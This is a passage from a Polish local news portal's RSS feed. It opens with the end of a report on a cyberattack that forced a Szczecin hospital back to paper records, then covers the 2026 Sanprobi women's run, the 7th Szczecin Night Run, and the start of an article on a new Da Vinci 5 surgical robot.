<p data-start="3535" data-end="3697">Gdy ich zabrakło, okazało się, jak bardzo współczesna medycyna opiera się na technologii. I jak szybko cyfrowy kryzys przekłada się na codzienność zwykłych ludzi.</p>
<h2 data-section-id="123nfd3" data-start="3699" data-end="3745">Przywrócenie systemów może potrwać tygodnie</h2>
<p data-start="3747" data-end="4078">Eksperci nie wykluczają, że pełne odtworzenie infrastruktury cyfrowej potrwa jeszcze wiele tygodni. To oznacza, że problemy nie znikną z dnia na dzień. Odbudowa po takim ataku to nie tylko przywrócenie komputerów do działania, ale też sprawdzenie bezpieczeństwa, odzyskiwanie danych i weryfikacja całego środowiska informatycznego.</p>
<p data-start="4080" data-end="4389" data-is-last-node="" data-is-only-node="">Dla Szczecina to mocny sygnał ostrzegawczy. Cyberatak na szpital nie brzmi już jak scenariusz serialu, tylko jak realny problem tuż obok. A gdy ofiarą pada placówka medyczna, stawką nie są tylko pliki i serwery. Stawką jest sprawność leczenia, czas pacjentów i spokój ludzi, którzy i tak mają już dość stresu.</p>
<p>Artykuł <a href="https://szczecinportal.pl/cyberatak-sparalizowal-szpital-w-szczecinie/">Cyberatak sparaliżował szpital w Szczecinie. Pacjenci wrócili do papierowych kart i dłuższego czekania</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://szczecinportal.pl/cyberatak-sparalizowal-szpital-w-szczecinie/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Sanprobi Bieg Kobiet 8 marca 2026 w Szczecinie: Jasne Błonia, 5 km i Dzień Kobiet na sportowo</title>
		<link>https://szczecinportal.pl/sanprobi-bieg-kobiet-8-marca-2026-w-szczecinie/</link>
					<comments>https://szczecinportal.pl/sanprobi-bieg-kobiet-8-marca-2026-w-szczecinie/#respond</comments>
		
		<dc:creator><![CDATA[Redakcja]]></dc:creator>
		<pubDate>Thu, 05 Mar 2026 15:09:17 +0000</pubDate>
				<category><![CDATA[Aktualności]]></category>
		<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Sport]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Zdrowie]]></category>
		<guid isPermaLink="false">https://szczecinportal.pl/?p=8124</guid>

					<description><![CDATA[<p>Sanprobi Bieg Kobiet 2026 w Szczecinie: 5 km biegu lub Nordic Walking, MiniBieg dla dziewczynek, zapisy, opłaty i utrudnienia 8 marca na Jasnych Błoniach. Marzec w Szczecinie ma swój moment „klik”. Jeszcze chłodno, ale w powietrzu czuć zmianę. I nagle całe Jasne Błonia robią się kolorowe. Dokładnie tak ma wyglądać 16. Sanprobi Bieg Kobiet, który [&#8230;]</p>
<p>Artykuł <a href="https://szczecinportal.pl/sanprobi-bieg-kobiet-8-marca-2026-w-szczecinie/">Sanprobi Bieg Kobiet 8 marca 2026 w Szczecinie: Jasne Błonia, 5 km i Dzień Kobiet na sportowo</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Sanprobi Bieg Kobiet 2026 w Szczecinie: 5 km biegu lub Nordic Walking, MiniBieg dla dziewczynek, zapisy, opłaty i utrudnienia 8 marca na Jasnych Błoniach.</p>
<p>Marzec w Szczecinie ma swój moment „klik”. Jeszcze chłodno, ale w powietrzu czuć zmianę. I nagle całe <a rel="nofollow" href="https://szczecinportal.pl/jasne-blonia-w-szczecinie/">Jasne Błonia</a> robią się kolorowe. Dokładnie tak ma wyglądać <strong>16. Sanprobi Bieg Kobiet</strong>, który wraca <strong>8 marca 2026</strong>. To wydarzenie robione przez kobiety i dla kobiet (z energią, której nie da się podrobić).</p>
<h2>Kiedy i gdzie jest Sanprobi Bieg Kobiet 2026 [najważniejsze informacje]</h2>
<p>Widzimy się w niedzielę, <strong>8 marca 2026</strong>, na <strong>Jasnych Błoniach</strong>. To tu będzie <strong>start i meta</strong>. Potem trasa wchodzi w <strong>Park Kasprowicza</strong> i kręci się po parkowych alejkach.</p>
<p>Godziny są konkretne, więc łatwo zaplanować dzień. <strong>MiniBieg</strong> startuje wcześniej, potem rusza <strong>Nordic Walking</strong>, a na końcu bieg główny. W praktyce: można przyjść kibicować, ogarnąć pakiet, zrobić zdjęcie i jeszcze zdążyć na spokojną kawę.</p>
<figure id="attachment_8127" aria-describedby="caption-attachment-8127" style="width: 800px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-8127" src="https://szczecinportal.pl/wp-content/uploads/2026/03/bieg-sanprobi-szczecin.jpg" alt="Bieg Sanprobi Szczecin" width="800" height="500" srcset="https://szczecinportal.pl/wp-content/uploads/2026/03/bieg-sanprobi-szczecin.jpg 800w, https://szczecinportal.pl/wp-content/uploads/2026/03/bieg-sanprobi-szczecin-300x188.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/03/bieg-sanprobi-szczecin-768x480.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/03/bieg-sanprobi-szczecin-750x469.jpg 750w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-8127" class="wp-caption-text">Źródło: Foto Info Biegowe / fanpage Sanprobi</figcaption></figure>
<h3>Dystans i formuła: bieg albo Nordic Walking na 5 km</h3>
<p>W biegach głównych masz <strong>5 km</strong> do zrobienia. Do wyboru jest <strong>Nordic Walking</strong> albo <strong>bieg</strong>. Co ważne: organizatorzy nie narzucają limitu czasu. To brzmi banalnie, ale daje ogromny komfort (zwłaszcza, jeśli chcesz iść szybkim marszem).</p>
<p>Starty są rozdzielone godzinowo. <strong>Nordic Walking rusza o 11:00</strong>, a <strong>bieg o 12:15</strong>. Jeśli chcesz maszerować bez kijków, zapisujesz się do biegu.</p>
<h3>Trasa 2026: dwie pętle po 2,5 km w Parku Kasprowicza</h3>
<p>Trasa ma wracać do tego, co w Szczecinie działa najlepiej: parku i szerokich alejek. Organizatorzy opisują ją jako <strong>dwie pętle po 2,5 km</strong>, prowadzące głównie przez <strong>Park Kasprowicza</strong>. Start i meta zostają na <strong>Jasnych Błoniach</strong>, więc kibice mają „centrum dowodzenia” w jednym miejscu.</p>
<h2>Zapisy i limit miejsc: do kiedy można się zgłosić</h2>
<p>Zapisy prowadzone są online przez operatora zapisów (to standard w biegach). W 2026 roku zgłoszenia internetowe miały zostać wstrzymane <strong>24 lutego o 23:59</strong> albo wcześniej, jeśli wyczerpie się limit. Limit dla biegów głównych to <strong>2000 uczestniczek</strong> (łącznie bieg i Nordic Walking).</p>
<p>Po tym terminie zostaje już tylko biuro zawodów i mała pula numerów. I ważna rzecz: <strong>w dniu startu nie przyjmują zgłoszeń ani opłat</strong>. Lepiej tego nie testować na własnych nerwach.</p>
<figure id="attachment_8128" aria-describedby="caption-attachment-8128" style="width: 1024px" class="wp-caption aligncenter"><img decoding="async" class="size-large wp-image-8128" src="https://szczecinportal.pl/wp-content/uploads/2026/03/sanprobi-bieg-kobiet-szczecin-informacje-1024x1024.jpg" alt="Sanprobi bieg kobiet w Szczecinie - informator" width="1024" height="1024" srcset="https://szczecinportal.pl/wp-content/uploads/2026/03/sanprobi-bieg-kobiet-szczecin-informacje-1024x1024.jpg 1024w, https://szczecinportal.pl/wp-content/uploads/2026/03/sanprobi-bieg-kobiet-szczecin-informacje-300x300.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/03/sanprobi-bieg-kobiet-szczecin-informacje-150x150.jpg 150w, https://szczecinportal.pl/wp-content/uploads/2026/03/sanprobi-bieg-kobiet-szczecin-informacje-768x768.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/03/sanprobi-bieg-kobiet-szczecin-informacje-500x500.jpg 500w, https://szczecinportal.pl/wp-content/uploads/2026/03/sanprobi-bieg-kobiet-szczecin-informacje-75x75.jpg 75w, https://szczecinportal.pl/wp-content/uploads/2026/03/sanprobi-bieg-kobiet-szczecin-informacje-350x350.jpg 350w, https://szczecinportal.pl/wp-content/uploads/2026/03/sanprobi-bieg-kobiet-szczecin-informacje-750x750.jpg 750w, https://szczecinportal.pl/wp-content/uploads/2026/03/sanprobi-bieg-kobiet-szczecin-informacje.jpg 1080w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-8128" class="wp-caption-text">Źródło: Sanprobi Bieg Kobiet</figcaption></figure>
<h3>Opłaty startowe: ile kosztuje Sanprobi Bieg Kobiet 2026</h3>
<p>Cena rośnie wraz z czasem (klasyka, ale działa). Według regulaminu wygląda to tak:</p>
<ul>
<li>do <strong>01.2026</strong>: <strong>70 zł</strong></li>
<li><strong>01–14.02.2026</strong>: <strong>85 zł</strong></li>
<li><strong>02–24.02.2026</strong>: <strong>100 zł</strong></li>
<li><strong>03 w biurze zawodów</strong>: <strong>120 zł</strong></li>
</ul>
<p>Są też dodatki, jeśli lubisz pamiątki „używalne”. Można dobrać np. <strong>kubek (30 zł)</strong> albo <strong>ręcznik (50 zł)</strong>.</p>
<h3>Pakiet startowy: co dostajesz na miejscu</h3>
<p>W pakiecie dostajesz m.in. <strong>numer startowy z chipem</strong>, torbę, agrafki i <strong>koszulkę techniczną</strong> (rozmiary od S do XXL, wybierane przy zapisach). Na mecie czeka <strong>medal</strong>, a na trasie ma być zabezpieczenie i opieka. Jest też <strong>depozyt</strong> i możliwość skorzystania z przebieralni.</p>
<p>Jest jeden haczyk, o którym warto pamiętać. Jeśli płacisz dopiero w biurze zawodów, nie ma gwarancji koszulki w wybranym rozmiarze.</p>
<figure id="attachment_8126" aria-describedby="caption-attachment-8126" style="width: 800px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-8126" src="https://szczecinportal.pl/wp-content/uploads/2026/03/bieg-kobiet-szczecin.jpg" alt="Bieg kobiet w Szczecinie" width="800" height="500" srcset="https://szczecinportal.pl/wp-content/uploads/2026/03/bieg-kobiet-szczecin.jpg 800w, https://szczecinportal.pl/wp-content/uploads/2026/03/bieg-kobiet-szczecin-300x188.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/03/bieg-kobiet-szczecin-768x480.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/03/bieg-kobiet-szczecin-750x469.jpg 750w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-8126" class="wp-caption-text">Źródło: Foto Info Biegowe / fanpage Sanprobi</figcaption></figure>
<h3>Biuro zawodów: gdzie i kiedy odebrać pakiet</h3>
<p>Odbiór pakietów jest rozbity na dwa terminy. W sobotę, <strong>7 marca (10:00–18:00)</strong>, biuro działa w <strong><a rel="nofollow" href="https://szczecinportal.pl/filharmonia-im-mieczyslawa-karlowicza-w-szczecinie/">Filharmonii</a> Szczecińskiej</strong>. W niedzielę, <strong>8 marca (09:00–10:30)</strong>, przenosi się do <strong>Instytutu Pedagogiki Uniwersytetu Szczecińskiego</strong> przy ul. Ogińskiego.</p>
<p>To dobry układ dla tych, którzy wolą mieć wszystko ogarnięte dzień wcześniej. Rano przed startem i tak jest najwięcej emocji (i kolejek).</p>
<h2>Sanprobi MiniBieg Kobiet: 200 metrów i 1 km dla dziewczynek</h2>
<p>Tu jest bardzo fajny, rodzinny akcent. <strong>8 marca</strong> odbywa się też MiniBieg: <strong>200 m o 10:15</strong> i <strong>1 km o 10:30</strong>. Start i meta są na Jasnych Błoniach, czyli w tej samej strefie wydarzenia.</p>
<p>Dystanse są dopasowane do wieku. 200 m jest dla dziewczynek do 6 lat, a 1 km dla 7–11 lat. Limit to <strong>150 miejsc na każdy dystans</strong>, a wpisowe wynosi <strong>30 zł</strong>. Jest też opcja pakietu z koszulką za dopłatą.</p>
<h2>Utrudnienia w ruchu i komunikacji 8 marca: lepiej wiedzieć wcześniej</h2>
<p>Jeśli planujesz podjechać autem „pod sam start”, to uprzedzamy: okolica będzie czasowo zamknięta. Miasto zapowiada zamknięcia ulic w rejonie biegu <strong>od 10:00 do 14:00</strong>. Chodzi m.in. o ul. <strong>Szymanowskiego, Moniuszki, Piotra Skargi i Ogińskiego</strong>.</p>
<p>Będą też zmiany w komunikacji. Zmienia się trasa linii <strong>67</strong>, a część przystanków ma być czasowo wyłączona (m.in. Bogumiły, Piotra Skargi i Jasne Błonia). Najprościej: przyjdź pieszo albo podjedź trochę dalej i dojdź spacerem.</p>
<h2>Co wyróżnia edycję 2026: koszulka, strefa SANPROBI i „miejskie” vibe</h2>
<p>W 2026 organizatorzy mocno grają koszulką. Na stronie wydarzenia pojawia się informacja, że ma mieć logo marki Łukasza Jemioła, a całość idzie w energetyczny, pomarańczowy klimat.</p>
<p>Na miejscu ma działać też dobrze znana strefa SANPROBI. Zapowiadane są rozmowy ze specjalistami, konsultacje dietetyczne i pomiary składu ciała. Taki „bonus”, który wielu osobom realnie się przydaje.</p>
<h2>Jak ogarnąć 5 km bez presji</h2>
<p>Jeśli to Twój pierwszy start, weź sobie jedną rzecz do serca: 5 km to dystans, który da się zrobić mądrze. Możesz biec, możesz przeplatać bieg z marszem. Tu naprawdę nie trzeba udawać maratonki (nawet jeśli Instagram kusi).</p>
<p>Przyjdź wcześniej, zrób krótką rozgrzewkę i nie ruszaj „za szybko”, bo poniesie Cię tłum. A jeśli idziesz z kijkami, sprawdź groty i paski przed startem. Potem zostaje tylko jedno: złapać rytm i dać się ponieść atmosferze.</p>
<h2>Gdzie potem szukać zdjęć</h2>
<p>Po biegu zwykle zaczyna się drugi sport: polowanie na swoje zdjęcie z najlepszym uśmiechem. Organizatorzy podają, że fotografie z wydarzenia mają trafić do serwisu FotoMaraton (z wyszukiwaniem po numerze lub nazwisku).</p>
<p>Artykuł <a href="https://szczecinportal.pl/sanprobi-bieg-kobiet-8-marca-2026-w-szczecinie/">Sanprobi Bieg Kobiet 8 marca 2026 w Szczecinie: Jasne Błonia, 5 km i Dzień Kobiet na sportowo</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://szczecinportal.pl/sanprobi-bieg-kobiet-8-marca-2026-w-szczecinie/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>7. Szczeciński Bieg Nocny: nowa trasa przez Turzyn i al. Wojska Polskiego (noc 8/9 maja 2026)</title>
		<link>https://szczecinportal.pl/7-szczecinski-bieg-nocny-nowa-trasa-2026/</link>
					<comments>https://szczecinportal.pl/7-szczecinski-bieg-nocny-nowa-trasa-2026/#respond</comments>
		
		<dc:creator><![CDATA[Redakcja]]></dc:creator>
		<pubDate>Thu, 05 Mar 2026 08:46:46 +0000</pubDate>
				<category><![CDATA[Aktualności]]></category>
		<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Sport]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Zdrowie]]></category>
		<guid isPermaLink="false">https://szczecinportal.pl/?p=8110</guid>

					<description><![CDATA[<p>Szczecin nocą ma swój klimat. Ciszej, chłodniej, bardziej „filmowo”. I właśnie w taki moment wchodzi 7. Szczeciński Bieg Nocny. Tegoroczna edycja dostaje zupełnie nową trasę (z Turzynem i aleją Wojska Polskiego w roli głównej). Start i meta zostają w sercu miasta, czyli na Jasnych Błoniach. 7. Szczeciński Bieg Nocny &#8211; najważniejsze informacje dla biegaczy i [&#8230;]</p>
<p>Artykuł <a href="https://szczecinportal.pl/7-szczecinski-bieg-nocny-nowa-trasa-2026/">7. Szczeciński Bieg Nocny: nowa trasa przez Turzyn i al. Wojska Polskiego (noc 8/9 maja 2026)</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p data-start="298" data-end="639"><a rel="nofollow" href="https://szczecinportal.pl/szczecin-noca-gdzie-warto-pojsc-wieczorowa-pora-i-noca-sprawdzamy/">Szczecin nocą</a> ma swój klimat. Ciszej, chłodniej, bardziej „filmowo”. I właśnie w taki moment wchodzi <strong data-start="399" data-end="428">7. Szczeciński Bieg Nocny</strong>. Tegoroczna edycja dostaje <strong data-start="456" data-end="479">zupełnie nową trasę</strong> (z Turzynem i aleją Wojska Polskiego w roli głównej). Start i meta zostają w sercu miasta, czyli na <strong data-start="580" data-end="600">Jasnych Błoniach</strong>.</p>
<h2 data-start="641" data-end="691">7. Szczeciński Bieg Nocny &#8211; najważniejsze informacje dla biegaczy i kibiców</h2>
<p data-start="693" data-end="1021">Bieg odbędzie się w <strong data-start="713" data-end="740">nocy z 8 na 9 maja 2026</strong>, a start na obu dystansach planowany jest <strong data-start="783" data-end="805">około godziny 0:01</strong> (organizator dopuszcza start falowy). Limit uczestników to <strong data-start="865" data-end="878">2000 osób</strong>. Start i meta będą na <strong data-start="901" data-end="923">ul. Szymanowskiego</strong> – na odcinku między Urzędem Miasta a Fontanną Bartłomiejką.</p>
<p data-start="1023" data-end="1229">Do wyboru są dwa dystanse: <strong data-start="1050" data-end="1058">5 km</strong> i <strong data-start="1061" data-end="1070">10 km</strong>. Różnica jest prosta: na 10 km robisz pętlę dwa razy. Limit czasu to <strong data-start="1140" data-end="1152">50 minut</strong> na 5 km oraz <strong data-start="1166" data-end="1181">1,5 godziny</strong> na 10 km.</p>
<h3 data-start="1231" data-end="1285">Trasa 7. Szczecińskiego Biegu Nocnego krok po kroku</h3>
<p data-start="1287" data-end="1841">Organizator postawił na trasę, która „przecina” miasto mocnymi ulicami (i daje sporo kibicowskich punktów po drodze). Startujesz z <strong data-start="1418" data-end="1440">ul. Szymanowskiego</strong>, potem wpadasz w <strong data-start="1458" data-end="1475">Monte Cassino</strong> i <strong data-start="1478" data-end="1506">Królowej Korony Polskiej</strong>. Dalej lecisz <strong data-start="1521" data-end="1549">aleją Bohaterów Warszawy</strong> aż do <strong data-start="1556" data-end="1567">Turzyna</strong>. Następnie jest <strong data-start="1584" data-end="1600">Krzywoustego</strong> i wjazd w <strong data-start="1611" data-end="1637">aleję Wojska Polskiego</strong>. Przy <strong data-start="1644" data-end="1670">placu Szarych Szeregów</strong> skręt w <strong data-start="1679" data-end="1695">Wielkopolską</strong>, a finiszowy powrót prowadzi <strong data-start="1725" data-end="1756">aleją Papieża Jana Pawła II</strong> i <strong data-start="1759" data-end="1775">ul. Felczaka</strong> z powrotem na <a rel="nofollow" href="https://szczecinportal.pl/jasne-blonia-w-szczecinie/">Jasne Błonia</a>.</p>
<p data-start="1843" data-end="2006">Jeśli biegniesz 10 km, powtarzasz to wszystko drugi raz. Druga pętla w nocy potrafi „zabrać” nogi (ale też daje satysfakcję).</p>
<figure id="attachment_8112" aria-describedby="caption-attachment-8112" style="width: 1024px" class="wp-caption aligncenter"><img decoding="async" class="size-large wp-image-8112" src="https://szczecinportal.pl/wp-content/uploads/2026/03/trasa-7-biegu-nocnego-szczecin-1024x1024.jpg" alt="Trasa 7 biegu nocnego w Szczecinie" width="1024" height="1024" srcset="https://szczecinportal.pl/wp-content/uploads/2026/03/trasa-7-biegu-nocnego-szczecin-1024x1024.jpg 1024w, https://szczecinportal.pl/wp-content/uploads/2026/03/trasa-7-biegu-nocnego-szczecin-300x300.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/03/trasa-7-biegu-nocnego-szczecin-150x150.jpg 150w, https://szczecinportal.pl/wp-content/uploads/2026/03/trasa-7-biegu-nocnego-szczecin-768x768.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/03/trasa-7-biegu-nocnego-szczecin-500x500.jpg 500w, https://szczecinportal.pl/wp-content/uploads/2026/03/trasa-7-biegu-nocnego-szczecin-75x75.jpg 75w, https://szczecinportal.pl/wp-content/uploads/2026/03/trasa-7-biegu-nocnego-szczecin-350x350.jpg 350w, https://szczecinportal.pl/wp-content/uploads/2026/03/trasa-7-biegu-nocnego-szczecin-750x750.jpg 750w, https://szczecinportal.pl/wp-content/uploads/2026/03/trasa-7-biegu-nocnego-szczecin.jpg 1080w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-8112" class="wp-caption-text">źródło: wiadomosci.szczecin.eu</figcaption></figure>
<h3 data-start="2008" data-end="2052">Zapisy, pakiety i co dostajesz na starcie</h3>
<p data-start="2054" data-end="2342">Zapisy lecą online przez PROtiming. Link do rejestracji znajdziesz tutaj:<a class="decorated-link" href="https://www.protiming24.pl/startmeta/ev/szczecinski-bieg-nocny" target="_new" rel="nofollow noopener"> Zapisy na 7. Szczeciński Bieg Nocny</a>.</p>
<p data-start="2344" data-end="2544">Ceny zależą od puli. Dla 5 km pakiet podstawowy startuje od <strong data-start="2404" data-end="2413">95 zł</strong>, a dla 10 km od <strong data-start="2430" data-end="2440">105 zł</strong>. Są też pakiety z koszulką (droższe), dostępne do <strong data-start="2491" data-end="2505">05.04.2026</strong>.</p>
<p data-start="2546" data-end="2806">W pakiecie masz m.in. numer z chipem, medal, pomiar czasu, depozyt i nocną „atrakcję świetlną” (to jeden z tych elementów, które robią robotę, nawet gdy nie polujesz na życiówkę). Dla 10 km przewidziano też wodę na trasie.</p>
<p data-start="2808" data-end="3025">Biuro zawodów działa <strong data-start="2829" data-end="2853">7 maja (14:00–19:00)</strong> – lokalizacja ma być ogłoszona, oraz <strong data-start="2891" data-end="2915">8 maja (16:00–23:00)</strong> w miasteczku biegowym na Jasnych Błoniach, przy Fontannie Bartłomiejce.</p>
<h2 data-start="3027" data-end="3090">Nowość: klasyfikacja drużynowa (i jak to ogarnąć bez chaosu)</h2>
<p data-start="3092" data-end="3344">W tym roku dochodzi <strong data-start="3112" data-end="3138">klasyfikacja drużynowa</strong>. Drużyna musi mieć minimum <strong data-start="3166" data-end="3176">5 osób</strong>, w tym <strong data-start="3184" data-end="3213">co najmniej jedną kobietę</strong>. Wynik liczy się jako suma pięciu najlepszych czasów netto (w tym minimum jednej kobiety).</p>
<p data-start="3346" data-end="3785">Zgłoszenie idzie mailowo przez kapitana na adres: <a class="decorated-link" href="mailto:biegi@zstw.szczecin.pl" target="_new" rel="nofollow noopener">biegi@zstw.szczecin.pl</a>. Jest jeden ważny haczyk: członkowie drużyny nie rejestrują się samodzielnie, tylko po zgłoszeniu drużyny organizator wystawia proformę i dopiero wtedy wpisuje ekipę na listę. Termin zgłoszeń drużyn to 29.04.2026.</p>
<h2 data-start="3787" data-end="3863">3. Szczeciński Bieg Świetlików – wersja dla dzieci (8 maja, Jasne Błonia)</h2>
<p data-start="3865" data-end="4193">Zanim dorośli ruszą o północy, swoje emocje dostaną najmłodsi. <strong data-start="3928" data-end="3962">3. Szczeciński Bieg Świetlików</strong> jest dla dzieci w wieku <strong data-start="3987" data-end="3999">5–13 lat</strong> i odbędzie się <strong data-start="4015" data-end="4035">wieczorem 8 maja</strong> na Jasnych Błoniach. Dystanse są dopasowane do wieku: od <strong data-start="4093" data-end="4112">200 m do 1000 m</strong>, a na mecie każde dziecko dostaje medal.</p>
<p data-start="4195" data-end="4438">Zapisy są tutaj:<a class="decorated-link" href="https://www.protiming24.pl/startmeta/ev/szczecinski-bieg-swietlikow" target="_new" rel="nofollow noopener"> Zapisy na 3. Szczeciński Bieg Świetlików</a>.</p>
<h2 data-start="4440" data-end="4479">Gdzie szukać szczegółów i regulaminu</h2>
<p data-start="4481" data-end="4783">Najpewniejsze źródło to organizator, czyli Żegluga Szczecińska Turystyka Wydarzenia. Szczegóły, komunikaty i regulaminy są na stronie:<a class="decorated-link" href="https://www.zstw.szczecin.pl" target="_new" rel="nofollow noopener"> www.zstw.szczecin.pl</a>.</p>
<p>Jeśli chcesz biec „po coś”, a nie tylko „byle zaliczyć”, ta trasa ma sens. Turzyn i Wojska Polskiego nocą potrafią zaskoczyć (i nogi, i głowę). A Jasne Błonia o północy? To już klasyk Szczecina w sportowej wersji.</p>
<p>Artykuł <a href="https://szczecinportal.pl/7-szczecinski-bieg-nocny-nowa-trasa-2026/">7. Szczeciński Bieg Nocny: nowa trasa przez Turzyn i al. Wojska Polskiego (noc 8/9 maja 2026)</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://szczecinportal.pl/7-szczecinski-bieg-nocny-nowa-trasa-2026/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Da Vinci 5 w Szczecinie: najnowszy robot chirurgiczny już operuje na Pomorzanach (i to jako jedyny w regionie)</title>
		<link>https://szczecinportal.pl/da-vinci-5-w-szczecinie-najnowszy-robot-chirurgiczny-juz-operuje-na-pomorzanach-i-to-jako-jedyny-w-regionie/</link>
					<comments>https://szczecinportal.pl/da-vinci-5-w-szczecinie-najnowszy-robot-chirurgiczny-juz-operuje-na-pomorzanach-i-to-jako-jedyny-w-regionie/#respond</comments>
		
		<dc:creator><![CDATA[Redakcja]]></dc:creator>
		<pubDate>Fri, 27 Feb 2026 11:12:01 +0000</pubDate>
				<category><![CDATA[Aktualności]]></category>
		<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Zdrowie]]></category>
		<guid isPermaLink="false">https://szczecinportal.pl/?p=8080</guid>

					<description><![CDATA[<p>Uniwersytecki Szpital Kliniczny nr 2 PUM w Szczecinie wskoczył do ścisłej czołówki. W Zintegrowanym Bloku Operacyjnym na Pomorzanach działa już system chirurgii robotycznej Da Vinci 5. To jedyne takie urządzenie na Pomorzu Zachodnim i piąte w Polsce. Na świecie pracuje dziś ponad 360 systemów tej generacji. Robot jest już po instalacji i ma za sobą [&#8230;]</p>
<p>Artykuł <a href="https://szczecinportal.pl/da-vinci-5-w-szczecinie-najnowszy-robot-chirurgiczny-juz-operuje-na-pomorzanach-i-to-jako-jedyny-w-regionie/">Da Vinci 5 w Szczecinie: najnowszy robot chirurgiczny już operuje na Pomorzanach (i to jako jedyny w regionie)</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p data-start="114" data-end="438">Uniwersytecki Szpital Kliniczny nr 2 PUM w Szczecinie wskoczył do ścisłej czołówki. W Zintegrowanym Bloku Operacyjnym na Pomorzanach działa już system chirurgii robotycznej <strong data-start="287" data-end="301">Da Vinci 5</strong>. To <strong data-start="306" data-end="316">jedyne</strong> takie urządzenie na Pomorzu Zachodnim i <strong data-start="357" data-end="375">piąte w Polsce</strong>. Na świecie pracuje dziś <strong data-start="401" data-end="414">ponad 360</strong> systemów tej generacji.</p>
<p data-start="440" data-end="587">Robot jest już po instalacji i ma za sobą pierwsze zabiegi. USK nr 2 ma więc dwa systemy robotyczne, ale Da Vinci 5 to wyraźny skok technologiczny.</p>
<h2 data-start="589" data-end="646">Da Vinci 5 w USK nr 2 PUM: co to oznacza dla Szczecina</h2>
<p data-start="648" data-end="909">To nie jest „kolejny sprzęt do gabloty”. Szpital na Pomorzanach zyskuje narzędzie, które ma pomóc chirurgom pracować precyzyjniej i pewniej. Dla pacjentów to sygnał, że najbardziej zaawansowane leczenie jest dostępne na miejscu, bez wyjazdów do innych regionów.</p>
<p data-start="911" data-end="1045">W praktyce to także mocniejsza pozycja Szczecina na mapie medycyny w Polsce. Zwłaszcza że szpital wykonuje dużo operacji robotycznych.</p>
<h2 data-start="1047" data-end="1122">Co wyróżnia Da Vinci 5: moc obliczeniowa, „czucie tkanek” i dwie konsole</h2>
<p data-start="1124" data-end="1354">Najbardziej konkretna zmiana to wydajność. Da Vinci 5 ma procesor nawet <strong data-start="1196" data-end="1223">10 tysięcy razy szybszy</strong> od poprzedniej wersji działającej w szpitalu. To przekłada się na sprawniejsze przetwarzanie danych i płynniejszą pracę operatora.</p>
<p data-start="1356" data-end="1557">Kluczowa innowacja to <strong data-start="1378" data-end="1396">Force Feedback</strong>. Chirurg może fizycznie odczuwać opór tkanek przez manetki konsoli. To ma zwiększać kontrolę ruchu i bezpieczeństwo, szczególnie w precyzyjnych etapach zabiegu.</p>
<p data-start="1559" data-end="1770">Nowością są też <strong data-start="1575" data-end="1604">dwie konsole operatorskie</strong>. Dwóch chirurgów może uczestniczyć w operacji naprzemiennie. To poprawia komfort pracy i daje duży potencjał szkoleniowy (wiedza „idzie na żywo”, nie z prezentacji).</p>
<p data-start="1559" data-end="1770"><img decoding="async" class="aligncenter size-full wp-image-8082" src="https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie.jpg" alt="Da Vinci 5 w Szczecinie" width="800" height="500" srcset="https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie.jpg 800w, https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie-300x188.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie-768x480.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/02/da-vinci-5-w-szczecinie-750x469.jpg 750w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2 data-start="1772" data-end="1819">W jakich zabiegach robot pomaga w Szczecinie</h2>
<p data-start="1821" data-end="1944">W USK nr 2 system robotyczny działa w trzech obszarach. Tu wchodzą konkretne procedury, które mają znaczenie dla pacjentów.</p>
<h3 data-start="1946" data-end="1958">Urologia</h3>
<p data-start="1959" data-end="2186">Wykonywane są m.in. radykalne prostatektomie (leczenie raka prostaty), cystektomie oraz operacje oszczędzające nerkę (NSS). Precyzja robota jest szczególnie ważna tam, gdzie liczy się ochrona funkcji i jakość życia po operacji.</p>
<h3 data-start="2188" data-end="2214">Ginekologia operacyjna</h3>
<p data-start="2215" data-end="2392">Robot wspiera leczenie nowotworów trzonu i szyjki macicy. Wykorzystywane jest też obrazowanie fluorescencyjne <strong data-start="2325" data-end="2332">ICG</strong>, pomagające w precyzyjnym namierzaniu węzłów wartowniczych.</p>
